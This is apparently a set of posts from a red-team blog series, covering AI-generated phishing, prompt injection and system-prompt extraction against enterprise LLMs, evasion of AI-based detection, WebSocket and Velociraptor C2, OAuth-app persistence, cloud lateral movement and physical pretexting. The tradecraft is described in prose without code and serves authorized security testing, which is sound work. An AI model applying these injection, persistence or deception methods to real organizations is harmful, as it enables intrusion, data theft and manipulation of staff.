At the same time, phishing awareness programs continue to rely on simulated emails that are often generic. These simulations are usually based on common templates and broad attack patterns. They are not always tied to what the organization is actually seeing in the real world.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

This creates a gap. Real attackers keep changing their techniques, while awareness training often stays the same.

Turning email filters into a training pipeline

Now consider a different approach.

Email filtering tools already see real phishing emails every day. They collect the full content of the message, along with metadata such as sender domains, subjects, themes, and timing. Over time, this becomes a large and realistic dataset of attacker behavior.

An organization could take this data, clean it, remove sensitive information, and use it to train an internal large language model (LLM). That model could then be connected to the phishing awareness platform.

Instead of using static templates, the awareness tool could generate emails that closely resemble the phishing emails the organization actually receives.

From a defender’s point of view, this approach makes sense.

It uses data the organization already has. It reduces the gap between real attacks and training exercises. It produces phishing simulations that match the organization’s industry, vendors, and communication style.

Users are no longer trained on generic examples. They are trained on emails that look similar to what attackers are really sending.

For security teams looking to improve awareness metrics and make training more relevant, this idea is likely to be appealing. As AI adoption grows, it is reasonable to expect that some organizations will try this.

At this point, the threat model changes.

Why this LLM will need to be red teamed?

If an organization uses an LLM trained on real phishing emails to drive awareness training, that model becomes part of the security system. It influences how users learn, what they recognize as suspicious, and how they respond to future emails. Any system that shapes user behavior in this way needs to be tested from an attacker’s perspective before it is trusted.

From a red team point of view, this is not about challenging the idea itself. It is about validating how the model behaves when exposed to adversarial input and understanding the assumptions it makes. At a minimum, red teams should focus on the following areas:

• Training data influence and drift - Test how repeated phishing patterns affect the model’s output, since attackers already influence part of the training data through volume.

• Coverage of rare and high-context attacks - Test whether the model can simulate low-frequency, targeted phishing, not just common and well-represented patterns.

• Bias from automated email classification - Test how upstream filtering and labeling decisions shape what the model learns, as the LLM only sees what other systems classify as phishing.

• Exposure of organizational signals in generated content - Test whether generated awareness emails reflect internal language, vendors, or workflows that could be inferred over time.

Red teaming this type of system is not about blocking innovation. It ensures that the model behaves as expected when it is exposed to real attacker behavior.

TL;DR
- Organizations can use LLMs trained on real phishing emails to generate more realistic awareness campaigns.
- Red teaming is needed to ensure the model behaves as expected under adversarial conditions.
- Key areas to test:
  - Training data influence and drift
  - Coverage of rare and targeted phishing attacks
  - Bias from automated email classification
  - Exposure of internal organizational signals

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Standard AI models are trained on general internet data, which often results in a “Surface Web” bias. When applied to a specific organization, these general models fail to capture the unique tone, acronyms, and internal habits of the employees. A red team can bridge this gap by training a locally hosted model on target-specific data to create highly customized social engineering campaigns and identify internal behavioral patterns.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

The Target-Specific Model

The core idea is to move away from generic AI and toward a model that understands a specific company’s “internal language.” If a red team can access internal communications, documentation, or even public-facing technical blogs, they can fine-tune a model to mimic that specific environment.

This allows for the creation of phishing emails that are nearly indistinguishable from actual internal correspondence. Instead of using generic corporate templates, the model uses the exact vocabulary and tone common within a specific department. This level of customization makes traditional “red flags” in phishing—such as unusual phrasing or slightly off-brand language—almost non-existent.

Identifying Hidden Patterns

Beyond social engineering insights, these models can be used to extract deep intelligence from an attacker’s perspective. By feeding the model large volumes of internal data, a red team can identify systemic weaknesses or even sensitive intellectual property.

For example, an attacker might feed the model technical documentation and project discussions to infer an organization’s trade secrets or upcoming product details. Once this information is extracted, it can be used as leverage for extortion or to gain a competitive advantage. Effectively, the AI acts as a specialized analyst that can connect dots across millions of lines of text to find the organization’s most valuable information.

Re-purposing Leaked Data

The most dangerous application of this tactic involves using data from past security incidents. If an organization was involved in a previous data breach, an attacker could take that dumped data and use it to train a new model.

This process essentially creates a working map of the organization’s internal knowledge based on historical files. Even if the organization has since improved its security, the attacker now has a tool that understands the historical context of the company. They can use this to craft attacks that reference real past projects, people, or internal issues, making their attacks highly credible because they are grounded in the company’s actual history.

The Shift to AI-Driven Red Team Operations

This approach marks a major shift in how we think about “stolen data.” Historically, a data breach meant an immediate loss of credentials or financial info. Now, stolen data has a long-term “half-life.” Even old, non-sensitive internal text becomes a training set that helps an attacker understand exactly how your organization thinks and operates. The data isn’t just a trophy anymore; it is the fuel for a custom-built weapon.

However, the ability to build these custom weapons is not yet universal. Just because an attacker has the data does not mean they can instantly use it. There is a wide gap between owning a data dump and successfully training a domain-specific model that produces reliable results. Moving from a general model to a highly specialized one requires a specific set of resources that most red teams—and many organizations—might not have access to.

Constraints and Feasibility

There are significant hurdles to this approach that must be evaluated:

• Hardware and Time - Training or fine-tuning a model like DarkBERT is resource-intensive. The researchers used four NVIDIA A100 80GB GPUs and took 15 days to complete the process. For a red team, the cost of specialized hardware and the time required may not always make economic sense for an engagement.

• Data Availability - A red team is limited by what the client is willing to share. Most organizations are hesitant to provide the massive amounts of internal text data required to train an effective model.

• Attacker Advantage - Unlike red teams, motivated attackers are not bound by time limits, legal permissions, or monetary constraints. They can spend significant funds on computing power and leverage stolen data from any source, taking months to refine their models for a single high-value target.

The success of DarkBERT proves that domain-specific AI is the future of both defense and offense. For red teams, the next step is moving toward target-specific AI. While hardware and data remain a constraint today, the decreasing cost of local LLM execution means this tactic will soon become a standard part of high-tier adversarial simulations. Understanding how an attacker might use your own data to train a model against you is a critical new frontier in risk assessment.

TL;DR
- Research shows that language models like DarkBERT perform better when trained on data specific to their environment.
- Standard AI models are trained on general data like Wikipedia, making them less effective at understanding internal corporate language.
- Red teams can use internal documents to train models that mimic a company’s exact tone, making phishing attempts nearly impossible to detect.
- Specialized models can connect disparate pieces of internal data to uncover trade secrets or systemic security habits.
- Attackers can use data from previous breaches to create models that understand an organization's historical context.
- While powerful, this approach requires significant GPU hardware and time, which may favor attackers over red teams.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Here are the five biggest AI-related developments you need to know to stay ahead.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

1. The Rise of AI-Powered Red Teaming

We are seeing a massive shift from manual, “point-in-time” testing to continuous, AI-driven platforms. According to 2024/2025 market data from Dataintelo, the AI Red Teaming market has already surpassed $1.12 billion.

Why the sudden boom? Traditional testing is too slow for modern DevOps. Companies are now using AI platforms to simulate attacks 24/7. These tools don’t sleep, and they can find misconfiguration in cloud stacks or exposed APIs before a human tester even opens their laptop.

2. Offensive Tools are Everywhere

The “barrier to entry” for high-level hacking has collapsed. In the past, you needed a PhD-level understanding of exploits. Today, tools like PentestGPT and AutoSecT allow even junior enthusiasts to run complex reconnaissance.

Research from the Stanford AI Index 2025 shows that the performance gap between “closed” models (like GPT-4) and “open-weight” models has shrunk to just 1.7%. This means attackers can download powerful, uncensored AI models and run them locally to build custom malware without any “guardrails” stopping them.

3. Attacking the AI Itself (Adversarial Testing)

We used to focus on breaking the server. Now, we are breaking the logic inside the AI. This is called Adversarial Testing. Organizations are realizing that their AI models can be “poisoned” or tricked.

In response, NIST released the AI 100-2e2025 taxonomy, a new standard for identifying AI-specific attacks like “prompt injection” and “data poisoning.” Red teamers are now tasked with trying to make a company’s AI leak customer data or give bad advice. If you aren’t testing how your model handles “malicious inputs,” you’re leaving the front door wide open.

4. Social Engineering Gets a Personality

Social engineering used to be easy to spot—bad grammar and weird email addresses. That era is over. The Microsoft Digital Defense Report 2025 (released October 2025) states that AI-driven phishing is now three times more effective than traditional campaigns in terms of click-through rates

AI can now scan a target’s LinkedIn, read their public posts, and write an email that sounds exactly like their boss. Even worse, “vishing” (voice phishing) has become terrifyingly accurate. Attackers use AI to clone an executive’s voice in seconds to authorize wire transfers. For red teamers, this means our “pretexting” is now more believable than ever.

5. The Workforce: Human + Machine

There is a common fear that AI will replace red teamers. The data says otherwise. The 2025 ISC2 Cybersecurity Workforce Study highlights that while AI is “shaking up” the industry, professionals who use AI tools are actually more optimistic about their careers.

The trend for 2025 is the “Hybrid Model.” AI handles the boring stuff—like scanning thousands of lines of code or writing report drafts. This frees up the human red teamer to do what AI can’t: think creatively and find the “logic flaws” that require a gut feeling. AI is the power tool, but the human is still the architect.

Staying Sharp

The world of offensive security is moving at “AI speed.” To keep up, red teams must invest in tools that attack the model, and red team operators must learn to prompt as well as they script. The goal isn’t just to use AI, but to understand how the enemy is using it against you.

TL;DR
- AI Red Teaming is now a billion-dollar industry.
- Open-source AI tools are now nearly as powerful as private ones.
- Red teams aren’t just testing code anymore; They are attacking the AI models themselves.
- AI-generated phishing has become three times more effective.
- The best red teamers aren't replaced by AI; they use it to move faster.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

AI-based controls change how risk is calculated, how context is applied, and how evasion works in practice. Understanding that difference is critical if a red team wants to stay effective.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Why this is not just heuristics detection?

Heuristic detection looks at behavior and combinations of signals. That part is not new. The key difference with AI-enabled controls is how those signals are weighted, correlated, and adapted over time.

Heuristics use fixed logic

Heuristic systems rely on rules defined ahead of time. Each rule has a known purpose and usually a known threshold.

For example:

• If PowerShell runs with certain flags, add risk.

• If a process spawns another process in an unusual way, add risk.

• If several rules trigger together, raise an alert.

Even if the logic is complex, it is still static. The same behavior produces the same result every time unless a human changes the rules.

AI-enabled systems learn what “normal” looks like

AI-based systems build a baseline from historical data. They learn what is common in that specific environment.

For example:

• PowerShell may be normal for IT admins.

• The same PowerShell usage may be rare for finance users.

• Some process chains may be common on servers but not on laptops.

The model adjusts risk based on how activity compares to that baseline, not just whether a rule matches.

Risk is continuous, not step-based

Heuristic systems tend to work in steps. A rule triggers or it does not.

AI-enabled systems assign gradual risk.

• One action adds a little risk.

• Another adds a bit more.

• The alert fires only when the combined score crosses a threshold.

From a red team perspective, this matters because:

• You can influence risk without fully avoiding detection.

• Small changes can shift outcomes.

• Behavior matters more than individual actions.

Heuristics explain decisions, AI often does not

With heuristics, defenders can usually tell you why something fired. A rule name, a condition, or a signature is visible.

With AI-based detection:

• The reasoning is often opaque.

• Vendors may not expose which signals mattered most.

• The same action may be benign one day and suspicious another, depending on context.

This uncertainty is exactly what red teams exploit.

These differences change how evasion works and this is why adversarial attacks against AI-enabled security controls deserve separate attention. They are not about attacking the model itself. They are about understanding how risk is calculated and learning how to influence it. Red teams that treat AI-based detection like traditional heuristics will miss opportunities.

TL;DR
- Traditional heuristic detection uses static rules and known indicators whereas AI-enabled security learns normal behavior within the environment.
- With AI-enabled detection the context matters. Same action can have different risk levels for different users or times.
- Risk is treated as a continuous value, accumulating gradually rather than in discrete steps.
- Explainability is limited in AI systems; outcomes depend on context, not just explicit rules.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

To understand the attack surface, we must look at the typical enterprise architecture. An LLM often sits between a user interface and a backend database or internal API, acting as a reasoning engine. It takes a system prompt, which defines its rules and capabilities, and concatenates it with user input. This combined text is processed to generate a response or trigger an action. The vulnerability arises because LLMs cannot inherently distinguish between instructions (the system prompt) and data (the user input). If an attacker can craft input that the model interprets as a new instruction, they can override the system's intended logic. This is functionally similar to SQL injection, where data masquerades as code to alter a query.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

From a red team perspective, it is useful to distinguish between prompt injection and jailbreaking, although they often overlap. Jailbreaking typically refers to bypassing the safety guardrails trained into the model itself, such as forcing it to generate hate speech or dangerous instructions. Prompt injection, however, targets the application logic surrounding the model. It involves subverting the specific instructions given to the model by the developers. For enterprise assessments, prompt injection is generally the higher-value target because it leads to business logic bypasses, whereas jailbreaking often results only in reputational damage or policy violations.

High-impact scenarios appear when these models are connected to real workflows. Internal assistants are a common example. These assistants may summarize incidents, answer employee questions, or explain alerts. If an attacker can insert instructions into user input or referenced data, they may influence how the assistant behaves. This can lead to disclosure of internal information or misleading guidance. In some cases, the assistant may reveal parts of its internal logic or system instructions.

The real power of prompt injection comes from chaining it with other vulnerabilities or tool capabilities. Many enterprise LLMs are now equipped with "tools" or plugins that allow them to query databases, send emails, or execute code. If a model has access to a Python interpreter to perform data analysis, a successful injection can convince the model to execute arbitrary Python code. Similarly, if the model can query a customer database, an injection can trick it into dumping records that the current user should not have access to. The LLM effectively becomes a confused deputy, performing privileged actions on behalf of the attacker.

Testing for these vulnerabilities requires a methodical approach. A red team engagement should start by mapping all entry points where user data feeds into the LLM. This includes direct chat inputs, but also indirect sources like file uploads or scraped web content. Testers should attempt to define the system prompt by asking the model to reveal its instructions. Once the constraints are known, the goal is to craft inputs that delimit the original instructions and introduce new high-priority commands. Techniques often involve using formatting cues, such as special delimiters or markdown, to confuse the model's parsing structure.

To sharpen your skills, I highly recommend practicing on purpose-built CTF platforms like Lakera’s Gandalf or the Prompt Airlines challenge.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

This made me curious to understand how practical it would be for a C2 software to support WebSockets as a communication channel and why haven’t well-known C2 software implemented it already?

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

My first step was to create an absolutely basic Proof of Concept (PoC) of a miniature command and control (C2) that leverages WebSockets for communication. This gave me an opportunity to understand the complexity behind it. Turns out it isn’t that complicated (if AI could create it, well-known C2 software can definitely implement it).

This PoC had three components:

• Server - Accepts incoming connection from the implant and upgrades the connection to use WebSocket. Sends commands to the implant and receives output. Also recieves a periodic heartbeat from the implant.

• Implant - Initiates a connection to the server with a request to upgrade it to a WebSocket connection. Supports limited commands such as whoami, hostname, net (ipconfig / ifconfig) etc. Sends a periodic heartbeat to the server.

• Relay (optional) - Intercepts traffic between the server and the implant and redirects it to a proxy software such as BurpSuite.

Both the server and the implant use Base64 encoding to simulate “encrypted” messages (notice the use of double quotes and italics for the word encrypted → this means I know Base64 is not encryption). They also support breaking larger output (such as that of ipconfig) into smaller chunks of 1024 bytes.

Did it work? Let’s see…

Lets peak behind the scenes of this communication and understand the traffic flow.

When the implant is deployed, it initiates a connection to the server via HTTP and requests it to upgrade the connection to WebSocket. The server responds with HTTP 101 Switching Protocols upgrading the connection to WebSocket. This is also known as the WebSocket Handshake (as explained here).

Once the WebSocket connection has been established, the implant sends an intro message to the server along with it’s client_id (aka implant ID).

In response, server sends an ack message along with a custom message.

Post this, the server and the implant communicate via Base64 encoded messages.

The implant also sends a periodic heartbeat to the server. The default interval is 10 seconds but can be customized using --beacon flag.

The code for this PoC is available in 100 Days of Red Team GitHub repository.

So, now that we know that WebSockets can work for C2 communications, the question is, should a red team actually use them? And if so, when does it makes sense to leverage them?

Before I answer these questions, lets understand why using WebSockets as a C2 communication channel may not make sense:

• A long-lived WebSocket connection is a dead give away. As an alternative, WebSocket connections could be broken and re-established periodically. But then why not just leverage HTTP / HTTPS!

• WebSockets are stateful connections (unlike HTTP / HTTPS). If the red team is dealing with multiple implants, this may put unnecessary load on the server resources and can pose scalability issues.

• WebSocket handshake/upgrade can be more easily fingerprinted. Defenders can write signatures for suspicious ws/wss traffic.

• Classic C2 frameworks put a lot of effort into fallback transports (HTTP(S) ↔ DNS ↔ SMB ↔ named pipes, etc.) and multi-stage staging to traverse different environments. HTTP(S) request/response maps naturally to these fallbacks. WebSockets are not as easy to downgrade to other transports without reengineering the agent.

• WebSockets give true duplex channels and lower latency which is useful for interactive UIs. The communication between the C2 server and an implant is rarely real-time, making it impractical for most C2 related use cases.

When does it make sense to leverage WebSockets for C2 communications?

• When low latency interactive shells or live remote desktop-style streams are required. They can benefit from the reliability provided by persistent duplex channels.

• When the target is already using WebSockets frequently within their internal network then C2 related WebSocket connections can easily blend in (specially with wss).

• If the implant runs inside a browser (e.g., script in a compromised web app).

To learn more about WebSockets, check out the official WebSockets website.

TL;DR
- WebSockets can be used for communication between a C2 server and implant as demonstrated by the absolutely basic Proof of Concept (PoC) of a miniature command and control (C2).
- Characterstics like long-lived WebSocket connections, WebSocket Handshake, statefulness may make WebSockets an immpractical choice for most red team ops.
- They can be leveraged in scenarios where low latency access is required or if the target environment is already leveraging WebSockets heavily within its network.  

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

The WebSocket handshake

The handshake is an HTTP Upgrade dance that upgrades an HTTP(S) connection to the WebSocket protocol (RFC 6455). Key steps performed during the handshake are as follows:

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

1. Client initiates with an HTTP GET request

   • The client sends a GET request to the server containing following special headers:

     • Upgrade: websocket

     • Connection: Upgrade

     • Sec-WebSocket-Key: <random-base64> — a nonce

     • Sec-WebSocket-Version: 13

     • Optional: Sec-WebSocket-Protocol: <subprotocol> and Origin: <origin>

2. Server responds with HTTP 101 Switching Protocols response

   • If the server accepts, it responds with following headers:

     • HTTP/1.1 101 Switching Protocols

     • Upgrade: websocket

     • Connection: Upgrade

     • Sec-WebSocket-Accept: <base64-sha1-of-key+GUID>

     • Optionally echoes a chosen subprotocol in Sec-WebSocket-Protocol.

   • The Sec-WebSocket-Accept is computed as:

     • Concatenate the client Sec-WebSocket-Key (raw value) and the GUID 258EAFA5-E914-47DA-95CA-C5AB0DC85B11.

     • Compute SHA-1 over that string.

     • Base64-encode the SHA-1 digest.

3. Connection moves to binary framing

   • After the 101 response, the TCP connection switches from textual HTTP to WebSocket frames. Frames have an opcode, length, masking bits (clients must mask), and payload.

How red teams can leverage WebSocket handshakes?

For red teams, this handshake offers several advantages:

• Protocol negotiation as a covert channel entry point - Subprotocols and headers can be used to smuggle metadata (e.g., agent ID) at connection time without sending an obvious payload. Because many applications accept arbitrary Sec-WebSocket-Protocol values, a red-team implant can hide a token inside that header at connect time.

• Leveraging legitimate, long-lived channels for C2 - Compromising or abusing a legitimate WebSocket endpoint allows persistent bidirectional control with low detectability. A red team operator can embed an agent on an internal host that opens a WebSocket to a cloud service the organization already trusts.

• Handshake-based reconnaissance and endpoint discovery - Sending crafted handshake requests can reveal endpoints and server behavior (subprotocols supported, origin enforcement etc.). Responses like supported subprotocols, or the absence of origin checks can leak useful information.

• Bypassing HTTP filtering and proxy rules - Some proxies or filtering systems apply different rules to WebSocket traffic or allow upgrade requests to pass. A red team can piggyback on allowed Upgrade flows or use wss to blend with HTTPS traffic.

• Handshake tampering & MitM for session hijack - Where TLS is not used (ws://) or TLS is weak, an attacker in the path can tamper with headers or redirect the handshake to a malicious backend.

If you want to experiment with WebSocket vulnerabilities, try out this learning path from PortSwigger Academy (its free). To learn more about WebSockets, check out the official WebSockets website.

TL;DR
- During a WebSocket handshake a browser sends an HTTP GET with Upgrade: websocket, Sec-WebSocket-Key, Sec-WebSocket-Version (±Sec-WebSocket-Protocol/Origin); a compliant server replies 101 Switching Protocols with Sec-WebSocket-Accept, then the connection switches to WebSocket frames.
- It creates a persistent, full-duplex channel (ws:// or wss://) so both sides can send messages anytime with low latency.
- Red team can leverage handshake headers and subprotocols to carry covert metadata, wss on 443 or stealthy C2, frames to tunnel arbitrary data, and crafted handshakes to fingerprint servers.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

So, turns out that idea of using Velociraptor as C2 was not new but, as far as I can recall, this was the first instance of Velociraptor being leveraged as a C2 in a real-world cyber attack. Wonder why that is? Keep reading!

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

What is Velociraptor?

Velociraptor is a live forensics and incident response platform built around a client-server architecture. It allows broad data collection and querying through Velociraptor Query Language (VQL) and pre-built “artifacts.” The tool is open-source and purpose-built for blue-team investigations.

Velociraptor’s C2-like capabilities

Though not designed as a C2, Velociraptor can perform several typical C2 functions:

1. Command execution

   • Executes commands via artifacts like Generic.Client.VQL, Windows.System.PowerShell, Windows.System.CmdShell, and Linux.Sys.BashShell (which works anywhere /bin/bash exists). These rely on the execve plugin.

2. File transfer

   • Retrieve files using System.VFS.DownloadFile or Generic.Collectors.File.

   • Uploading (push) files using http_client plugin and Generic.Utils.FetchBinary, which caches files on disk.

3. File searching

   • Use Windows.Search.FileFinder, MacOS.Search.FileFinder, or Linux.Search.FileFinder. These allow pattern, filename, or YARA-based searches, and can retrieve findings directly.

4. Secure communication channels

   • Supports HTTPS and secure WebSocket for communication between client and server.

5. Configuration updates

   • The Admin.Client.UpdateClientConfig artifact enables updating client configurations on the fly.

6. Monitoring & visibility

   • Offers rich telemetry: artifacts for detecting service creation (Windows.Events.ServiceCreation), process creations (Windows.Events.ProcessCreation, enhanced with ETW via Windows.Events.ETWProcesses), generic process tracking across platforms (Generic.Events.Processes), account logons (Windows.Events.Trackaccount), and high-privilege logons (Windows.Events.HighPrivilegedLogon)

These behaviors illustrate how Velociraptor can function in several core C2 domains: executing commands, transferring files, monitoring processes, persisting, and communicating securely.

Pros & cons of using Velociraptor as a C2

Pros

• Legitimate, trusted binaries (especially on Windows/mac) can bypass naive detections.

• Powerful, flexible querying (VQL + artifacts) enables custom operations across platforms.

• Pre-built artifacts support core C2 functions: command execution, file transfer, monitoring.

• TLS-based channels with mTLS support are available for communications.

• Extensible and modifiable—teams can customize artifacts or binaries to expand capability.

Cons

• Requires high privileges and local installation, which increases detection risk.

• Not designed for stealth, so artifacts, logs, and AV/EDR coverage make detection likely.

• DLL hijack risks if running from non-trusted locations.

• Config includes infrastructure information, making server discovery easier.

• Shared client certificates limit operational flexibility and opsec.

• Security products often detect it, and defenders may proactively alert on its presence.

• The incident reported shows how quickly real use can be triaged and blocked.

Ultimately, whether using Velociraptor as C2 is a good or bad approach for red teams depends on the operator’s priorities—stealth, flexibility, trust, or tool-reuse—and the target environment. That judgment is left to the reader to decide.

TL;DR
- Velociraptor, a blue-team IR tool, can double as a Command-and-Control (C2) with capabilities like command execution, file transfer, monitoring, and persistence.
- Pros: trusted binaries, flexible VQL artifacts, TLS comms; Cons: high privilege needs, weak stealth, shared certs, easy detection.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

• The front door is guarded by security cameras and biometric scanners (endpoint defenses).

• The side door is rarely used but can be opened with a special badge (OAuth tokens).

An attacker does not try to sneak past the guard at the front. Instead, they convince an employee to hand them a badge for the side door. Once they have it, they can walk in whenever they like, without triggering alarms.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

When people think of persistence in a red team operation, the first ideas that come to mind are registry keys, scheduled tasks, or hidden services on endpoints. These techniques are well-known and often monitored. However, in today’s enterprise environment, a large portion of work happens in the cloud, particularly within Software-as-a-Service (SaaS) platforms such as Microsoft 365 and Google Workspace. These platforms bring convenience and scalability, but they also open the door for red teams to create persistent access in ways that are invisible to traditional endpoint defenses.

One particularly powerful technique is the misuse of OAuth applications. OAuth is the framework that allows one application to request permission to access data or resources from another, on behalf of the user. For example, a productivity app might ask permission to “read your emails” or “access your calendar.” Most employees are used to seeing these consent screens and will often click “Accept” without thinking twice.

From a red team perspective, this creates an opportunity. A red team operator can register their own “fake productivity app” in the target’s cloud environment. This app can be disguised to look like something harmless, perhaps a tool named “PDF Converter” or “Calendar Assistant.” During the consent process, the red team operator’s app can request far more permissions than it actually needs. For example:

• Read and send emails

• Access files on a cloud drive

• Read calendar events

• Access contacts and directory data

Once a user accepts, the app is granted an OAuth token. This token allows continuous access to the account’s data, even if the user changes their password or signs out of their devices i.e. if the OAuth token is not invalidated after a password change or logout (this is not done by default and depends on the identity provider). In essence, the red team operator has created a backdoor into the cloud environment, and it does not rely on malware, implants, or compromised endpoints.

Why this works so well

This technique is effective because it blends seamlessly into the way modern organizations operate. Security teams are often focused on endpoint malware, phishing payloads, or network traffic anomalies. But in this case:

• No malicious binary runs on the system.

• No suspicious persistence mechanism appears in autoruns or registry keys.

• No C2 traffic stands out in the firewall.

Instead, the persistence lives entirely in the cloud, authorized by the victim’s own consent. The only signs are in the audit logs, which many organizations do not actively monitor for OAuth misuse.

Persistence beyond the cloud

At first glance, this type of persistence seems limited to SaaS applications. But in practice, it can serve as a launchpad for access to the broader enterprise environment. The red team operator may not be running code directly on endpoints, but the persistent OAuth app gives them a guaranteed delivery channel into the organization.

Consider these scenarios:

• The red team operator uploads a malicious script into a cloud drive folder. Since these folders sync to user devices, the payload appears directly on endpoints.

• With permissions to send emails, the red team operator can deliver weaponized attachments or links that originate from a trusted internal account, drastically increasing success rates.

• Even if defenders wipe compromised endpoints or reset passwords, the red team operator’s SaaS app remains authorized. They can simply re-deliver payloads later, regaining shell access.

In this way, SaaS persistence does not produce a traditional backdoor by itself, but it guarantees the red team operator can re-establish access on demand, making it just as powerful.

Why should red teams care about it?

For red teams, this technique highlights the importance of thinking beyond traditional persistence methods. Instead of asking, “How can I stay hidden on this endpoint?” the question becomes, “How can I stay hidden in this organization’s SaaS ecosystem?” By leveraging OAuth applications, a red team can maintain long-term access and regain access whenever needed, often without detection.

TL;DR
- OAuth based fake apps (e.g. fake productivity apps) can gain excessive permissions with little user resistance.
- Persistence extends beyond SaaS, acting as a delivery channel for fresh payloads.
- Access can be regained even after endpoints are cleaned or passwords reset.
- OAuth-based persistence is stealthy because it bypasses endpoint defenses.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

What is AWS VPC Lattice?

Traditionally, connecting workloads across multiple VPCs requires peering connections, Transit Gateways, or complex networking setups. AWS VPC Lattice simplifies this by providing an application-level networking layer. Instead of managing IPs and routing tables, developers can connect services to a Lattice service network and allow communication through service names.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

In simpler words, it creates a service mesh-like system within AWS that abstracts away the networking headaches. Services inside VPCs can communicate securely and consistently without needing public exposure or manual routing.

Key benefits of VPC Lattice include:

• Service-to-service communication without exposing public endpoints.

• Consistent authentication and authorization using IAM and policies.

• Cross-VPC and cross-account connectivity without the need for complex peering setups.

• Managed observability with built-in logging and monitoring.

Visualization of VPC Lattice

Imagine three different applications running in different VPCs—App A in VPC1, App B in VPC2, and App C in VPC3. Normally, connecting them requires networking workarounds. With VPC Lattice, they can all join a service network and communicate through it as if they were part of the same logical group.

   +-------------------+
   |  VPC Lattice      |
   |  Service Network  |
   +-------------------+
      /        |       \
   App A      App B    App C
  (VPC 1)   (VPC 2)   (VPC 3)

Each application only needs to register with Lattice and can then send requests to others through a managed and secure channel. No public IPs, no internet gateways, no external exposure.

Why is this Important for Red Teams?

From a defensive perspective, VPC Lattice is great—it reduces attack surface by removing the need for public endpoints and simplifies networking. However, from a red team perspective, these same features open up stealth opportunities once access to a target environment has been gained.

If an organization already uses VPC Lattice to connect microservices, a compromised workload may inherit trusted access across multiple VPCs. This creates possibilities such as:

• Lateral movement across VPCs by abusing existing service-to-service communication.

• Blending in with legitimate traffic, since Lattice requests look like normal microservice activity.

• Bypassing traditional boundaries, avoiding internet gateways, load balancers, or public endpoints entirely.

The critical point here is that VPC Lattice hides complexity and exposure for defenders, but at the same time, it hides malicious activity for attackers.

TL;DR
- AWS VPC Lattice simplifies service-to-service communication across VPCs.
- It removes public exposure by routing traffic inside AWS’ private network.
- Attackers can abuse existing Lattice setups for stealth and lateral movement.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Research-driven pretext creation

Every great pretext begins with research. Open-source intelligence (OSINT) provides the raw materials that helps construct a role that fits neatly into the target’s world. By studying a company’s digital footprint, you can identify common vendors they use, jargon specific to their industry, and the names of internal systems or tools. For example, browsing LinkedIn profiles of employees might reveal that the company uses ServiceNow for IT tickets, or that they recently switched their security vendor. This detail can help you pose as a technician following up on a migration or patching task that aligns with their reality.

Follow my journey of 100 Days of Red Team on WhatsApp, Telegram or Discord.

Matching your pretext to the organization’s culture is equally critical. A startup tech company with casual open-office culture will expect very different behavior than a formal, process-driven hospital. Walking into a hospital pretending to be “just swinging by for a quick check on the Wi-Fi” would sound suspiciously informal. But at a startup, that relaxed tone might help you blend right in. The goal is to observe, listen, and design your pretext so it doesn’t stand out.

Useful sources for this kind of intelligence include LinkedIn, ZoomInfo, Glassdoor reviews, public contracts or vendor lists, company newsletters, and even photos shared by employees on social media. These can reveal everything from what the badge design looks like to which cafeteria the team frequents — small details that can help make your story stick.

Red team examples

Let’s look at a few anonymized examples where pretexts either succeeded or failed — and why.

In one case, a red teamer successfully entered a corporate office by posing as a printer technician. The pretext worked because it was supported by OSINT: the team learned from employee LinkedIn profiles that the company used a specific printer vendor and referenced that vendor by name at reception. The red teamer also carried a genuine work order printout and a small toolkit, reinforcing the illusion. Their calm, confident demeanor matched someone who does this task regularly, and no one batted an eye.

Contrast this with a failed attempt: a red teamer tried to impersonate an IT auditor at a financial firm without doing enough homework. When challenged by security at the desk, they couldn’t name the supposed audit manager who had “sent them,” nor could they produce any documentation. The company had a strict visitor escort policy that the team hadn’t anticipated. The result? The pretext fell apart under light questioning, and the operator was escorted out.

These examples highlight how success often hinges on preparation, attention to detail, and how well your pretext aligns with the target’s expectations and procedures.

Psychological tricks to add believability

Even the best pretext can benefit from subtle psychological tactics. Confidence is one of the most powerful tools in your arsenal. People are far more likely to believe a confident, relaxed individual who behaves as if they belong. Combine this with urgency — a subtle suggestion that delaying you will cause trouble or inconvenience for someone else — and you’ll find many people become eager to help rather than hinder.

Familiarity bias is another potent lever. Dropping internal lingo, like referencing a known internal system (“I’m just here to finish the Intune device compliance check — should only take five minutes”), or mentioning a department or manager’s name, can smooth your way past doubt. These small signals tell people, subconsciously, that you’re part of the in-group.

Your appearance and mannerisms should also match the role. A maintenance worker might move with purpose, carrying tools and looking slightly rushed. A junior employee might appear deferential, soft-spoken. Even tone of voice matters — adopting a casual but professional tone can help disarm suspicion, while being overly formal or robotic can make you seem out of place.

OPSEC and ethical considerations

With great pretexting comes great responsibility. Even in simulated operations, ethics and operational security must guide your choices. Avoid impersonating real employees or government agencies — this can create legal complications or erode trust unnecessarily. Similarly, stay away from pretexts that involve emotional manipulation beyond acceptable boundaries, like faking a medical emergency or using scenarios that could cause real distress.

A good pretext strikes the right balance between realism and safety. Your job is to test the security controls, not to exploit human decency in ways that cause lasting harm. Always work within the agreed-upon rules of engagement, and when in doubt, err on the side of caution. The best social engineering ops are those that reveal weaknesses without crossing ethical lines.

